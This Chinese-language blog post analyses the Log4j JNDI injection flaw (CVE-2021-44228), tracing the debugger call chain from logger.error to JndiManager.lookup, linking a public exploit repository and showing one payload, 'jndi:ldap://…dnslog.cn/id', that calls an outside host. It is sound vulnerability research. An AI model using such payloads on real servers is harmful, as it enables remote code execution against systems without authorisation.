Log4j远程代码执行漏洞分析（cve-2021-44228）

本文首发于：奇安信攻防社区-Log4jRCE漏洞分析奇安信攻防社区-Log4jRCE漏洞分析https://forum.butian.net/share/966 希望大家能帮我去帮我点一下，增加一下阅读量

漏洞成因：
当日志中含有${字符串时，程序会使用lookup解析字符串导致注入。lookup机制提供了一种在任意位置向Log4j配置添加值的方法.它们是实现StrLookup接口的特定类型的插件，支持date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j这些协议，即可使用jndi协议，造成JNDI注入，进而造成RCE漏洞

代码分析：
使用唐小风的exp搭建一个demo，https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

1、给logger.error()打上断点，进行debug调试

2、点击下一步，进入到了 error:AbstractLogger (org.apache.logging.log4j.spi) 中

3、跟进 logIfEnabled:AbstractLogger (org.apache.logging.log4j.spi) 中

这里会调用 isEnabled:Logger (org.apache.logging.log4j.core)判断logger的级别

如果满足要求，会进入 logMessage:AbstractLogger (org.apache.logging.log4j.spi) 中

这里省略一些不重要的函数调用，直接进入log中

4、LoggerConfig:logEvent(org.apache.logging.log4j.core.config)

然后进入到 processLogEvent:LoggerConfig (org.apache.logging.log4j.core.config)中

调用callAppenders

callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) 中调用callAppender

tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) 中调用append

directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) 中调用encode

toText:244, PatternLayout (org.apache.logging.log4j.core.layout) 中调用toSerializable

toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) 中调用format

5、我们跟进到 format:60, LiteralPatternConverter (org.apache.logging.log4j.core.pattern)

这里是第一个关键点，我们看以下代码

this.substitute = config != null && literal.contains("${");

this.substitute ? this.config.getStrSubstitutor().replace(event, this.literal) : this.literal

这是一个三元表达式,需要同时满足config不为空和result包含"${",才会运行 this.config.getStrSubstitutor().replace(event, result),所以payload中要有${才可以

继续跟进到 substitute:StrSubstitutor (org.apache.logging.log4j.core.lookup) 中，可以看到匹配一些特殊字符

如果字符串中有这些字符就进行删除，我们的payload就被处理为了jndi:ldap://h1glio.dnslog.cn/id

继续跟进

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}

调用了 getVariableResolver:StrSubstitutor (org.apache.logging.log4j.core.lookup) ，该方法会根据协议来进行处理操作，支持协议有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j

然后跟进到 lookup: Interpolator (org.apache.logging.log4j.core.lookup) ，

程序匹配到来jndi，就会选用Jndi Lookup进行处理.JndiLookup允许通过JNDI检索变量，

默认情况下, key的前缀为 java:comp/env / ，但如果key包含“:”,则不会添加前缀

关于lookup详情，可参考文档Log4j2 中文文档 - Lookups | Docs4dev

继续跟进，在 lookup:JndiManager (org.apache.logging.log4j.core.net) lookup:56, 中会调用 jndiManager.lookup解析请求,最终形成注入漏洞.